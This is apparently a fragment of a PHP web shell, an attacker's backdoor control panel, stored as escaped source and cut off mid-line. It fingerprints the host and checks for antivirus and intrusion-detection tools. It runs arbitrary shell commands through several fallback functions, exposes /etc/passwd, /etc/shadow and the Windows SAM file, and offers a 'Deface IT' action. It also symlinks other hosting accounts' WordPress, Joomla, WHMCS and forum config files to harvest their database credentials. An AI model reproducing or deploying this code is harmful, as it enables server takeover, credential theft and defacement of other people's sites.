phpver()\r\n\t{\r\n\t\t\$pv=@phpversion();\r\n\t\techo \$pv;\r\n\t}\r\n\tfunction magic_quote()\r\n\t{\r\n\t\techo get_magic_quotes_gpc()?\"<font class=txt>ON</font>\":\"<font color='red'>OFF</font>\";\r\n\t}\r\n\tfunction serverip()\r\n\t{\r\n\t\techo getenv('SERVER_ADDR');\r\n\t}\r\n\tfunction serverport()\r\n\t{\r\n\t\techo \$_SERVER['SERVER_PORT'];\r\n\t}\r\n\tfunction  safe()\r\n\t{\r\n\t\tglobal \$sm;\r\n\t\treturn \$sm?\"ON :( :'( (Most of the Features will Not Work!)\":\"OFF\";\r\n\t}\r\n\tfunction serveradmin()\r\n\t{\r\n\t\techo \$_SERVER['SERVER_ADMIN'];\r\n\t}\r\n\tfunction systeminfo()\r\n\t{\r\n\t\techo php_uname();\r\n\t}\r\n\tfunction curlinfo()\r\n\t{\r\n\t\techo function_exists('curl_version')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction oracleinfo()\r\n\t{\r\n\t\techo function_exists('ocilogon')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction mysqlinfo()\r\n\t{\r\n\t\techo function_exists('mysql_connect')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction mssqlinfo()\r\n\t{\r\n\t\techo function_exists('mssql_connect')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction postgresqlinfo()\r\n\t{\r\n\t\techo function_exists('pg_connect')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction softwareinfo()\r\n\t{\r\n\t\techo getenv(\"SERVER_SOFTWARE\");\r\n\t}\r\n\tfunction download()\r\n\t{\r\n\t\t\$frd=\$_GET['download'];\r\n\t\t\$prd=explode(\"/\",\$frd);\r\n\t\tfor(\$i=0;\$i<sizeof(\$prd);\$i++)\r\n\t\t{\r\n\t\t\t\$nfd=\$prd[\$i];\r\n\t\t}\r\n\t\t@ob_clean(); \r\n\t   header(\"Content-type: application/octet-stream\"); \r\n\t   header(\"Content-length: \".filesize(\$nfd)); \r\n\t   header(\"Content-disposition: attachment; filename=\\\"\".\$nfd.\"\\\";\"); \r\n   \t   readfile(\$nfd);\r\n\r\n   \t   exit;\r\n\t\r\n\t}\r\n\t\t\r\n\tfunction HumanReadableFilesize(\$size)\r\n    \t{\r\n        \t\$mod = 1024;\r\n \t\t\$units = explode(' ','B KB MB GB TB PB');\r\n \t       for (\$i = 0; \$size > \$mod; \$i++) \r\n \t       {\r\n \t           \$size /= \$mod;\r\n \t       }\r\n \t       return round(\$size, 2) . ' ' . \$units[\$i];\r\n \t}\r\n\t\r\n\tfunction showDrives()\r\n    {\r\n        global \$self;\r\n        foreach(range('A','Z') as \$drive)\r\n        {\r\n            if(is_dir(\$drive.':\\\\'))\r\n            {\r\n\t\t\t\t\$myd = \$drive.\":\\\\\";\r\n                ?>\r\n                <a href=javascript:void(0) onClick=\"changedir('dir','<?php echo addslashes(\$myd); ?>')\">\r\n                    <?php echo \$myd; ?>\r\n                </a> \r\n                <?php\r\n            }\r\n        }\r\n    }\r\n\tfunction diskSpace()\r\n\t{\r\n    \treturn disk_total_space(\"/\");\r\n\t}\t\r\n\tfunction freeSpace()\r\n\t{\r\n \t   return disk_free_space(\"/\");\r\n\t}\r\n\t\r\n\tfunction thiscmd(\$p) \r\n\t{\r\n\t\t\$path = myexe('which ' . \$p);\r\n\t\tif(!empty(\$path))\r\n\t\t\treturn \$path;\r\n\t\treturn false;\r\n\t}\r\n\r\n\tfunction mysecinfo()\r\n\t{\r\n\t\tfunction myparam(\$n, \$v) \r\n\t\t{\r\n\t\t\t\$v = trim(\$v);\r\n\t\t\tif(\$v) \r\n\t\t\t{\r\n\t\t\t\techo '<span><font color =red size=3>' . \$n . ': </font></span>';\r\n\t\t\t\tif(strpos(\$v, \"\\n\") === false)\r\n\t\t\t\t\techo '<font color =lime size=3>' . \$v . '</font><br>';\r\n\t\t\t\telse\r\n\t\t\t\t\techo '<pre class=ml1><font color =lime size=3>' . \$v . '</font></pre>';\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\tmyparam('Server software', @getenv('SERVER_SOFTWARE'));\r\n\t\tif(function_exists('apache_get_modules'))\r\n\t\t\tmyparam('Loaded Apache modules', implode(', ', apache_get_modules()));\r\n\t\tmyparam('Open base dir', @ini_get('open_basedir'));\r\n\t\tmyparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));\r\n\t\tmyparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));\r\n\t\t\$temp=array();\r\n\t\tif(function_exists('mysql_get_client_info'))\r\n\t\t\t\$temp[] = \"MySql (\".mysql_get_client_info().\")\";\r\n\t\tif(function_exists('mssql_connect'))\r\n\t\t\t\$temp[] = \"MSSQL\";\r\n\t\tif(function_exists('pg_connect'))\r\n\t\t\t\$temp[] = \"PostgreSQL\";\r\n\t\tif(function_exists('oci_connect'))\r\n\t\t\t\$temp[] = \"Oracle\";\r\n\t\tmyparam('Supported databases', implode(', ', \$temp));\r\n\t\techo '<br>';\r\n\t\r\n\t\tif(\$GLOBALS['os'] == 'Linux') {\r\n\t\t\t\tmyparam('Distro : ', myexe(\"cat /etc/*-release\")); \r\n\t\t\t\tmyparam('Readable /etc/passwd', @is_readable('/etc/passwd')?\"yes <a href=javascript:void(0) onClick=\\\"getmydata('passwd')\\\">[view]</a>\":'no');\r\n\t\t\t\tmyparam('Readable /etc/shadow', @is_readable('/etc/shadow')?\"yes <a href=javascript:void(0) onClick=\\\"getmydata('shadow')\\\">[view]</a>\":'no');\r\n\t\t\t\tmyparam('OS version', @file_get_contents('/proc/version'));\r\n\t\t\t\tmyparam('Distr name', @file_get_contents('/etc/issue.net'));\r\n\t\t\t\tmyparam('Where is Perl?', myexe('whereis perl'));\r\n\t\t\t\tmyparam('Where is Python?', myexe('whereis python'));\r\n\t\t\t\tmyparam('Where is gcc?', myexe('whereis gcc'));\r\n\t\t\t\tmyparam('Where is apache?', myexe('whereis apache'));\r\n\t\t\t\tmyparam('CPU?', myexe('cat /proc/cpuinfo'));\r\n\t\t\t\tmyparam('RAM', myexe('free -m'));\r\n\t\t\t\tmyparam('Mount options', myexe('cat /etc/fstab'));\r\n\t\t\t\tmyparam('User Limits', myexe('ulimit -a'));\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif(!\$GLOBALS['safe_mode']) {\r\n\t\t\t\t\t\$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');\r\n\t\t\t\t\t\$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');\r\n\t\t\t\t\t\$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');\r\n\t\t\t\t\techo '<br>';\r\n\t\t\t\t\t\$temp=array();\r\n\t\t\t\t\tforeach (\$userful as \$item)\r\n\t\t\t\t\t\tif(thiscmd(\$item))\r\n\t\t\t\t\t\t\t\$temp[] = \$item;\r\n\t\t\t\t\tmyparam('Userful', implode(', ',\$temp));\r\n\t\t\t\t\t\$temp=array();\r\n\t\t\t\t\tforeach (\$danger as \$item)\r\n\t\t\t\t\t\tif(thiscmd(\$item))\r\n\t\t\t\t\t\t\t\$temp[] = \$item;\r\n\t\t\t\t\tmyparam('Danger', implode(', ',\$temp));\r\n\t\t\t\t\t\$temp=array();\r\n\t\t\t\t\tforeach (\$downloaders as \$item)\r\n\t\t\t\t\t\tif(thiscmd(\$item))\r\n\t\t\t\t\t\t\t\$temp[] = \$item;\r\n\t\t\t\t\tmyparam('Downloaders', implode(', ',\$temp));\r\n\t\t\t\t\techo '<br/>';\r\n\t\t\t\t\tmyparam('HDD space', myexe('df -h'));\r\n\t\t\t\t\tmyparam('Hosts', @file_get_contents('/etc/hosts'));\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t} else {\r\n\t\t\t\$repairsam = addslashes(\$_SERVER[\"WINDIR\"].\"\\\\repair\\\\sam\");\r\n\t\t\t\$hostpath = addslashes(\$_SERVER[\"WINDIR\"].\"\\system32\\drivers\\etc\\hosts\");\r\n\t\t\t\$netpath = addslashes(\$_SERVER[\"WINDIR\"].\"\\system32\\drivers\\etc\\\\networks\");\r\n\t\t\t\$sampath = addslashes(\$_SERVER[\"WINDIR\"].\"\\system32\\drivers\\etc\\lmhosts.sam\");\r\n\t\t\techo \"<font  size=3>Password File : </font><a href=\".\$_SERVER['PHP_SELF'].\"?download=\" . \$repairsam .\"><b><font class=txt size=3>Download password file</font></b></a><br>\";\r\n\t\t\techo \"<font  size=3>Config Files :  </font><a href=javascript:void(0) onClick=\\\"fileaction('open','\$hostpath')\\\"><b><font class=txt size=3>[ Hosts ]</font></b></a> &nbsp;<a href=javascript:void(0) onClick=\\\"fileaction('open','\$netpath')\\\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> &nbsp;<a href=javascript:void(0) onClick=\\\"fileaction('open','\$sampath')\\\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>\";\r\n\t\t\t\$base = (ini_get(\"open_basedir\") or strtoupper(ini_get(\"open_basedir\"))==\"ON\")?\"ON\":\"OFF\";\r\n\t\t\techo \"<font  size=3>Open Base Dir : </font><font class=txt size=3>\" . \$base . \"</font><br>\";\r\n\t\t\tmyparam('OS Version',myexe('ver'));\r\n\t\t\tmyparam('Account Settings',myexe('net accounts'));\r\n\t\t\tmyparam('User Accounts',myexe('net user'));\r\n\t\t}\r\n\t\techo '</div>';\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\tfunction myexe(\$in) \r\n\t{\r\n\t\$out = '';\r\n\tif (function_exists('exec')) {\r\n\t\t@exec(\$in,\$out);\r\n\t\t\$out = @join(\"\\n\",\$out);\r\n\t} elseif (function_exists('passthru')) {\r\n\t\tob_start();\r\n\t\t@passthru(\$in);\r\n\t\t\$out = ob_get_clean();\r\n\t} elseif (function_exists('system')) {\r\n\t\tob_start();\r\n\t\t@system(\$in);\r\n\t\t\$out = ob_get_clean();\r\n\t} elseif (function_exists('shell_exec')) {\r\n\t\t\$out = shell_exec(\$in);\r\n\t} elseif (is_resource(\$f = @popen(\$in,\"r\"))) {\r\n\t\t\$out = \"\";\r\n\t\twhile(!@feof(\$f))\r\n\t\t\t\$out .= fread(\$f,1024);\r\n\t\tpclose(\$f);\r\n\t}\r\n\treturn \$out;\r\n}\r\n\t\r\n\tfunction exec_all(\$command)\r\n\t{\r\n    \r\n    \$output = '';\r\n    if(function_exists('exec'))\r\n    {   \r\n        exec(\$command,\$output);\r\n        \$output = join(\"\\n\",\$output);\r\n    }\r\n    \r\n    else if(function_exists('shell_exec'))\r\n    {\r\n        \$output = shell_exec(\$command);\r\n    }\r\n    \r\n    else if(function_exists('popen'))\r\n    {\r\n        \$handle = popen(\$command , \"r\"); // Open the command pipe for reading\r\n        if(is_resource(\$handle))\r\n        {\r\n            if(function_exists('fread') && function_exists('feof'))\r\n            {\r\n                while(!feof(\$handle))\r\n                {\r\n                    \$output .= fread(\$handle, 512);\r\n                }\r\n            }\r\n            else if(function_exists('fgets') && function_exists('feof'))\r\n            {\r\n                while(!feof(\$handle))\r\n                {\r\n                    \$output .= fgets(\$handle,512);\r\n                }\r\n\r\n\r\n\r\n            }\r\n        }\r\n        pclose(\$handle);\r\n    }\r\n    \r\n    \r\n    else if(function_exists('system'))\r\n    {\r\n        ob_start(); //start output buffering\r\n        system(\$command);\r\n        \$output = ob_get_contents();    // Get the ouput \r\n        ob_end_clean();                 // Stop output buffering\r\n    }\r\n    \r\n    else if(function_exists('passthru'))\r\n    {\r\n        ob_start(); //start output buffering\r\n        passthru(\$command);\r\n        \$output = ob_get_contents();    // Get the ouput \r\n        ob_end_clean();                 // Stop output buffering            \r\n    }\r\n    \r\n    else if(function_exists('proc_open'))\r\n    {\r\n        \$descriptorspec = array(\r\n                1 => array(\"pipe\", \"w\"),  // stdout is a pipe that the child will write to\r\n                );\r\n        \$handle = proc_open(\$command ,\$descriptorspec , \$pipes); // This will return the output to an array 'pipes'\r\n        if(is_resource(\$handle))\r\n        {\r\n            if(function_exists('fread') && function_exists('feof'))\r\n            {\r\n                while(!feof(\$pipes[1]))\r\n                {\r\n                    \$output .= fread(\$pipes[1], 512);\r\n                }\r\n            }\r\n            else if(function_exists('fgets') && function_exists('feof'))\r\n            {\r\n                while(!feof(\$pipes[1]))\r\n                {\r\n                    \$output .= fgets(\$pipes[1],512);\r\n                }\r\n            }\r\n        }\r\n        pclose(\$handle);\r\n    }\r\n    \r\n    return(htmlspecialchars(\$output));\r\n    \r\n}\r\n\r\n\$basedir=(ini_get(\"open_basedir\") or strtoupper(ini_get(\"open_basedir\"))==\"ON\")?\"<font class=txt>ON</font>\":\"<font color='red'>OFF</font>\";\r\n\$etc_passwd=@is_readable(\"/etc/passwd\")?\"Yes\":\"No\";\r\n\r\nfunction getOGid(\$value)\r\n{\r\n\tif(!function_exists('posix_getegid')) {\r\n\t\t\$user = @get_current_user();\r\n\t\t\$uid = @getmyuid();\r\n\t\t\$gid = @getmygid();\r\n\t\t\$group = \"?\";\r\n\t\t\$owner = \$uid . \"/\". \$gid;\r\n\t\treturn \$owner;\r\n\t} else {\r\n\t\t\$name=@posix_getpwuid(@fileowner(\$value)); \r\n\t\t\$group=@posix_getgrgid(@filegroup(\$value)); \r\n\t\t\$owner = \$name['name']. \" / \". \$group['name']; \r\n\t\treturn \$owner;\r\n\t}\r\n}\r\n\r\nfunction mainfun(\$dir)\r\n{\r\n\tglobal \$ind, \$directorysperator,\$os;\r\n\t\r\n\t\$mydir = basename(dirname(__FILE__));\r\n\t\$pdir = str_replace(\$mydir,\"\",\$dir);\r\n\t\$pdir = str_replace(\"/\",\"\",\$dir);\r\n\t\r\n\t\$files = array();\r\n\t\$dirs  = array();\r\n\t\r\n\t \$odir=opendir(\$dir);\r\n\t while(\$file = readdir(\$odir))\r\n\t {\r\n\t   if(is_dir(\$dir.'/'.\$file))\r\n\t   {\r\n\t\t \$dirs[]=\$file;\r\n\t   }\r\n\t   else\r\n\t   {\r\n\t\t \$files[]=\$file;\r\n\t   }\r\n\t }\r\n\t \$countfiles = count(\$dirs) + count(\$files);\r\n\t \$dircount = count(\$dirs); \r\n\t \$dircount = \$dircount-2;\r\n\t \$myfiles = array_merge(\$dirs,\$files);\r\n\t\$i = 0;\r\n\tif(is_dir(\$dir))\r\n   \t{\r\n\t\tif(scandir(\$dir) === false)\r\n\t\t\techo \"<center><font  size=3>Directory isn't readable</font></center>\";\r\n\t\telse\r\n\t\t{\r\n?><form method=\"post\" id=\"myform\" name=\"myform\">\r\n\t<table id=\"maintable\" style=\"width:100%;\" align=\"center\" cellpadding=\"3\">\r\n\t<tr><td colspan=\"7\"><center><div id=\"showmydata\"></div></center></td></tr>\r\n\t<tr style=\"background-color:#0C0C0C;\"><td colspan=\"8\" align=\"center\"><font  size=\"3\">Listing folder <?php echo \$dir; ?></font> (<?php echo \$dircount.' Dirs And '.count(\$files).' Files'; ?>)</td>\r\n    <tr style=\"background-color:#0C0C0C; height:12px;\">\r\n        <th>Name</th>\r\n        <th>Size</th>\r\n        <th>Permissions</th>\r\n\t<?php if(\$os != \"Windows\"){ echo \"<th>Owner / Group</th>\"; } ?>\r\n\t<th>Modification Date</th>\r\n        <th>Rename</th>\r\n\t\t<th>Download</th>\r\n\t\t<th style=\"width:2%;\">Action</th>\r\n    </tr>\r\n\t<?php \t\t\r\n\t\tforeach(\$myfiles as \$val)\r\n\t\t{\r\n\t\t\t\$vv = addslashes(\$dir . \$directorysperator . \$val);\r\n\t\t\t\$i++;\r\n\t\t\t\r\n\t\t\tif(\$val == \".\")\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\t?><tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\"><td class='info'><a href=javascript:void(0) onClick=\"changedir('dir','<?php echo addslashes(\$dir); ?>')\"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>\r\n\t\t\t<td><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$dir); ?></a></td>\r\n\t\t\t\r\n\t\t\t<?php if(\$os != 'Windows')\r\n\t\t\t\t  { \r\n\t\t\t\t    echo \"<td align=center><font size=2>\";\r\n\t\t\t\t  \techo getOGid(\$dir).\"</font></td>\";\r\n\t\t\t\t  }\r\n\t\t\t\t\t ?>\r\n\t\t\t\r\n\t\t\t<td align=\"center\"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$vv)); ?></font></td>\r\n\t\t\t<td></td><td></td><td></td></</tr><?php \r\n\t\t\t\r\n\t\t\t}\r\n\t\t\telse if(\$val == \"..\")\r\n\t\t\t{ \r\n\t\t\t\t\$val = Trail(\$dir . \$directorysperator . \$val,\$directorysperator);\r\n\t\t\t\t\$vv = addslashes(\$val);\r\n\t\t\t\tif(empty(\$vv))\r\n\t\t\t\t\t\$vv = \"/\"; ?>\r\n\t\t\t<tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\"><td class='info'><a href=javascript:void(0) onClick=\"changedir('dir','<?php echo \$vv; ?>')\"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>\r\n\t\t\t<td><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$val); ?></a></td>\r\n\t\t\t<?php \tif(\$os != 'Windows')\r\n\t\t\t\t\t{\r\n\t\t\t\t\techo \"<td align=center><font size=2>\"; \r\n\t\t\t\t\techo getOGid(\$val).\"</font></td>\";\r\n\t\t\t\t\t\r\n\t\t\t\t\t}  ?>\r\n\t\t\t<td align=\"center\"><font  class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$val)); ?></font></td>\r\n\t\t\t<td></td><td></td><td></td></tr><?php continue;\r\n\t\t\t}\r\n\t\t\telse if(is_dir(\$vv))\r\n\t\t\t{\r\n\t\t?>\r\n\t\t\t<tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\">\r\n\t\t\t<td class='dir'><a href=javascript:void(0) onClick=\"changedir('dir','<?php echo \$vv; ?>')\">[ <?php echo \$val; ?> ]</a></td>\r\n        \t<td class='info'><font size=2>DIR</font></td>\r\n\t\t\t\r\n            <td class='info'><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$dir . \$directorysperator . \$val); ?></a></td>\r\n\t\t\t<?php if(\$os != 'Windows')\r\n\t\t\t\t\t{\r\n\t\t\t\t\techo \"<td align=center><font size=2>\"; \r\n\t\t\t\t\techo getOGid(\$val).\"</font></td>\";\r\n\t\t\t\t\t}  ?>\r\n\t\t\t<td align=\"center\"><font  class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$dir . \$directorysperator . \$val)); ?></font></td>\r\n\t\t\t<td class=\"info\"><a href=javascript:void(0) onClick=\"fileaction('rename','<?php echo \$vv; ?>')\"><font size=2>Rename</font></a></td>\r\n\t\t\t<td></td>\r\n\t\t\t<td class=\"info\" align=\"center\"><input type=\"checkbox\" name=\"actbox[]\" id=\"actbox<?php echo \$i; ?>\" value=\"<?php echo \$dir . \$directorysperator . \$val;?>\"></td>\r\n            </tr></font>\r\n            <?php\r\n\t\t\t\t}\r\n\t\t\t\telse if(is_file(\$vv))\r\n\t\t\t\t{\r\n\t\t\t   ?>\r\n                   <tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\">\r\n                   <td class='file'><a href=javascript:void(0) onClick=\"fileaction('open','<?php echo \$vv; ?>')\"><?php if((\"/\" .\$val == \$_SERVER[\"SCRIPT_NAME\"]) || (\$val == \"index.php\") || (\$val == \"index.html\") || (\$val == \"config.php\") || (\$val == \"wp-config.php\")) { echo \"<font color=red>\". \$val . \"</font>\";  } else { echo \$val; } ?></a> <?php if(\$val == \"index.php\" || \$val == \"index.html\") { if(strlen(\$ind) != 0) { echo \"<a href=javascript:void(0) onClick=\\\"defacefun('\$vv')\\\"><font color=red>( Deface IT )</font></a>\"; } } ?></td>\r\n\t\t\t\t   \r\n\t\t\t\t   <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize(\$dir . \$directorysperator . \$val));?></font></td>\r\n\t\t\t\t   \r\n                   <td class='info'><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$dir . \$directorysperator . \$val); ?></a></td>\r\n\t\t\t\t   \r\n\t\t\t\t   <?php if(\$os != 'Windows')\r\n\t\t\t\t\t{\r\n\t\t\t\t\techo \"<td align=center><font size=2>\"; \r\n\t\t\t\t\techo getOGid(\$val).\"</font></td>\";\r\n\t\t\t\t\t}  ?>\r\n\t\t\t\t   <td align=\"center\"><font  class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$dir . \$directorysperator . \$val)); ?></font></td>\r\n\t\t\t\t   \r\n                   <td class=\"info\"><a href=javascript:void(0) onClick=\"fileaction('rename','<?php echo \$vv; ?>')\"><font size=2>Rename</font></a></td>\r\n\t\t\t\t   <td class=\"info\"><a href=\"<?php echo \$self;?>?download=<?php echo \$dir . \$directorysperator .\$val;?>\"><font size=2>Download</font></a>\r\n\t\t\t\t   <td class=\"info\" align=\"center\"><input type=\"checkbox\" name=\"actbox[]\" id=\"actbox<?php echo \$i; ?>\" value=\"<?php echo \$dir . \$directorysperator . \$val;?>\"></td>\r\n                   </tr>\r\n                   <p>\r\n \t\t\t <?php\r\n      \t\t}\r\n\t\t}\r\n\t\t\r\n\techo \"</table>\r\n<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label> &nbsp;\r\n<select class=sbox name=choice style='width: 100px;'>\r\n\t\t\t<option value=delete>Delete</option>\r\n\t\t\t<option value=chmod>Change mode</option>\r\n\t\t\tif(class_exists('ZipArchive'))\r\n\t\t\t{\t<option value=compre>Compress</option>\r\n\t\t\t<option value=uncompre>Uncompress</option> }\r\n\t\t</select>\r\n\t\r\n\t<input type=button onClick=\\\"myaction(choice.value)\\\" value=Submit name=checkoption class=but></form></div>\";\r\n\t}}\r\n\telse\r\n    {\r\n        echo \"<p><font  size=3>\".\$_GET['dir'].\" is <b>NOT</b> a Valid Directory!<br /></font></p>\";\r\n    }\r\n\r\n}\r\nif(isset(\$_REQUEST[\"script\"])) \r\n{\r\n\t\$getpath = trim(dirname(\$_SERVER['SCRIPT_NAME']) . PHP_EOL);\r\n\t?>\r\n\t<center><table><tr><td><a href=javascript:void(0) onClick=\"getdata('manuallyscript')\"><font class=txt size=\"4\">| Do It Manually |</font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('scriptlocator')\"><font class=txt size=\"4\">| Do It Automatically |</font></a></td>\r\n\t</tr></table></center>\r\n\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['manuallyscript']))\r\n{\r\n\t?>\r\n\t\t<center>\r\n\t\t<form action=\"<?php echo \$self; ?>\" method=\"post\">\r\n\t\t<textarea class=\"box\" rows=\"16\" cols=\"100\" name=\"passwd\"></textarea><br>\r\n\t\t<input type=\"button\" OnClick=\"manuallyscriptfn(passwd.value)\" value=\"Get Config\" class=\"but\">\r\n\t\t</form>\r\n\t\t</center>\r\n\t\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['scriptlocator']))\r\n{\r\n\tif(stristr(php_uname(),\"Linux\"))\r\n\t{\r\n\t\t\$url = 'http://'.\$_SERVER['SERVER_NAME'].\$_SERVER['REQUEST_URI'];\r\n\t\t\$path=explode('/',\$url);\r\n\t\t\$url =str_replace(\$path[count(\$path)-1],'',\$url);\r\n\t\tfunction syml(\$usern,\$pdomain)\r\n\t\t{\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/core/includes/config.php',\$pdomain.'~~vBulletin5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/vb/core/includes/config.php',\$pdomain.'~~vBulletin5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.tx